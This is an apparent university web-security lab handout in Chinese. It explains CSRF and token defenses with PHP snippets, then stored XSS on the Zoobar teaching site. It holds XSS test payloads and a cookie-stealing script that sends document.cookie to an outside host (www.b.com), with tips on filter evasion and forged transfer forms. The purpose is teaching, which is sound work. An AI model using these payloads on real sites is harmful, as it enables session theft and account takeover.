實驗原理：

CSRF（Cross-Site Request Forgery，跨站點偽造請求）是一種網路攻擊方式，該攻擊可以在受害者毫不知情的情況下以受害者名義偽造請求傳送給受攻擊站點，從而在未授權的情況下執行在許可權保護之下的操作，具有很大的危害性。具體來講，可以這樣理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義傳送惡意請求，對伺服器來說這個請求是完全合法的，但是卻完成了攻擊者所期望的一個操作，比如以你的名義傳送郵件、發訊息，盜取你的賬號，新增系統管理員，甚至於購買商品、虛擬貨幣轉賬等。

CSRF攻擊原理

CSRF攻擊原理比較簡單，如圖1所示。其中Web A為存在CSRF漏洞的網站，WebB為攻擊者構建的惡意網站，User C為Web A網站的合法使用者。

圖1 CSRF攻擊原理

1. 使用者C開啟瀏覽器，訪問受信任網站A，輸入使用者名稱和密碼請求登入網站A；

2.在使用者資訊通過驗證後，網站A產生Cookie資訊並返回給瀏覽器，此時使用者登入網站A成功，可以正常傳送請求到網站A；

3. 使用者未退出網站A之前，在同一瀏覽器中，開啟一個TAB頁訪問網站B；

4. 網站B接收到使用者請求後，返回一些攻擊性程式碼，併發出一個請求要求訪問第三方站點A；

5. 瀏覽器在接收到這些攻擊性程式碼後，根據網站B的請求，在使用者不知情的情況下攜帶Cookie資訊，向網站A發出請求。網站A並不知道該請求其實是由B發起的，所以會根據使用者C的Cookie資訊以C的許可權處理該請求，導致來自網站B的惡意程式碼被執行。

CSRF的防禦；

1）驗證HTTP Referer欄位

根據HTTP協議，在HTTP頭中有一個欄位叫Referer，它記錄了該HTTP請求的來源地址。在通常情況下，訪問一個安全受限頁面的請求必須來自於同一個網站。比如某銀行的轉賬是通過使用者訪問http://bank.test/test?page=10&userID=101&money=10000頁面完成，使用者必須先登入bank.test，然後通過點選頁面上的按鈕來觸發轉賬事件。當用戶提交請求時，該轉賬請求的Referer值就會是轉賬按鈕所在頁面的URL（本例中，通常是以bank.test域名開頭的地址）。而如果攻擊者要對銀行網站實施CSRF

建議大家通過firefox的add on，firebug檢視使用者的正常請求的referer以及通過CSRF攻擊提交的referer的不同體會其中的差別。

大家可以通過搜尋javascript referer或者 php referer找到相關的處理程式碼。

使用referer驗證的缺點是referer本身並不可靠。一方面為了保護使用者自己的隱私，使用者可以在瀏覽器中自行配置，譬如通過about:config配置瀏覽器不傳送referer；另一方面，使用者可以篡改自己的referer，譬如通過各種外掛（可以搜尋firefox的addon）修改傳送到特定網址的referer。最後，一般是通過字串匹配進行referrer的比較，而攻擊者完全可以在自己的網站的域名中包含目標網站的域名。

2) 在請求中新增token並驗證

CSRF攻擊之所以能夠成功，是因為攻擊者可以偽造使用者的請求，該請求中所有的使用者驗證資訊都存在於Cookie中，因此攻擊者可以在不知道這些驗證資訊的情況下直接利用使用者自己的Cookie來通過安全驗證。由此可知，抵禦CSRF攻擊的關鍵在於：在請求中放入攻擊者所不能偽造的資訊，並且該資訊不存在於Cookie之中。鑑於此，系統開發者可以在HTTP請求中以引數的形式加入一個隨機產生的token，並在伺服器端建立一個攔截器來驗證這個token，如果請求中沒有token或者token內容不正確，則認為可能是CSRF攻擊而拒絕該請求。

這種方法要比檢查 Referer 要安全一些，token 可以在使用者登陸後產生並放於 session 之中，然後在每次請求時把 token 從 session 中拿出，與請求中的 token 進行比對，但這種方法的難點在於如何把 token以引數的形式加入請求。對於 GET請求，token將附在請求地址之後，這樣 URL就變成http://url?csrftoken=tokenvalue。而對於 POST請求來說，要在 form的最後加上 <inputtype=”hidden” name=”csrftoken” value=”tokenvalue”/>，這樣就把 token以引數的形式加入請求了。但是，在一個網站中，可以接受請求的地方非常多，要對於每一個請求都加上 token 是很麻煩的，並且很容易漏掉，通常使用的方法就是在每次頁面載入時，使用 javascript 遍歷整個 dom 樹，對於 dom 中所有的 a 和 form 標籤後加入 token。這樣可以解決大部分的請求，但是對於在頁面載入之後動態生成的 html 程式碼，這種方法就沒有作用，還需要程式設計師在編碼時手動新增 token。

實驗基本思路就是1）啟動session；2）在session中產生一個隨機數，並且通過MD5或者其他雜湊函式進行雜湊；3)將session中生成的值放到表單中。4)在使用者提交表單需要修改資料庫的時候進行驗證，使用者提交的token是否和session中儲存的token一致，只有一致的情況下，才進行資料庫操作。

1）啟動sessionsession_start();

2）在session中產生一個隨機數<?php $_SESSION['csrf']=md5(uniqid(mt_rand(),true)); ?>

3）將session中生成的值放在表單中這個值就是token<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>">

4）使用者提交表單驗證提交的token是否和session中儲存的值一致

if($_POST['submission'] && $_SESSION['csrf']==$_POST['token']) 

 XSS又稱CSS，全稱CrossSiteScript，跨站指令碼攻擊，是Web程式中常見的漏洞，XSS屬於被動式且用於客戶端的攻擊方式，所以容易被忽略其危害性。其原理是攻擊者向有 XSS漏洞的網站中輸入(傳入)惡意的HTML程式碼，當其它使用者瀏覽該網站時，這段HTML程式碼會自動執行，從而達到攻擊的目的。如，盜取使用者 Cookie、破壞頁面結構、重定向到其它網站等。

XSS攻擊類似於SQL注入攻擊，攻擊之前，我們先找到一個存在XSS漏洞的網站。理論上，所有可輸入的地方沒有對輸入資料進行處理的話，都會存在XSS漏洞，漏洞的危害取決於攻擊程式碼的威力。

我們實驗中的XSS程式碼會儲存在資料庫中，也稱為Stored XSS，也即儲存式XSS漏洞。由於其攻擊程式碼作為合法的輸入已經儲存到伺服器上的資料庫中，其他人在訪問該頁面的時候，伺服器會自動地從資料庫中取出該攻擊串返回給使用者，然後使用者的瀏覽器則會自動執行該段程式碼，因此，攻擊者只需要在自己的頁面中寫上攻擊程式碼，其他所有訪問該頁面的人都會受到攻擊。

實驗步驟：

第一步也即如何找到XSS漏洞。一般而言，如果網站某個使用者輸入點能夠執行alert(1)，彈出一個框，也就證明這是一個XSS漏洞。

為了執行JS，一般而言需要<script>或偽協議javascript:，但是Zoobar網站本身對<script>標籤和javascript:都進行了過濾，為降低實驗難度，允許本次實驗對網站原始碼進行修改，從而可以執行XSS攻擊。

典型的測試程式碼：

<ahref=javascript:alert(1)>hello</a>

<script>alert（1）</script>

實驗內容第一步包括steal cookie：

典型攻擊程式碼如：

<script>window.open(“www.b.com?param=”+document.cookie)</script>

此時只需要在www.b.com 寫程式碼儲存或者列印document.cookie值即可。

譬如 php程式碼的echo $_GET[‘param’]；或者建立一個檔案，將cookie的值儲存下來。

因為window本身也是重點過濾物件，所以可以考慮借助於img或a這種白名單上的標籤。

<img>會自動向src網站發出請求，但是為了獲得document.cookie的值而不是作為字串將它傳送出去，必須要在JS中使用img

所以常見的做法是使用 document.write，自己寫出來一個<img>標籤,然後把document.cookie的值作為引數附在連結之後。

從這裡可以看出，使用JS可以實現HTML，從而也為接下來的攻擊提供了思路。

Javascript提供createElement()和appendchild()函式，它可以建立元素並將新建立的元素附在document物件中。因此，只要存在XSS漏洞可以執行JS程式碼，攻擊者可以建立Form表單以及Form表單中的每一項input或textarea，也即可以模擬transfer zoobar和更改profile的動作，這樣，所有訪問攻擊者頁面的使用者都會被攻擊。

XSS的防禦：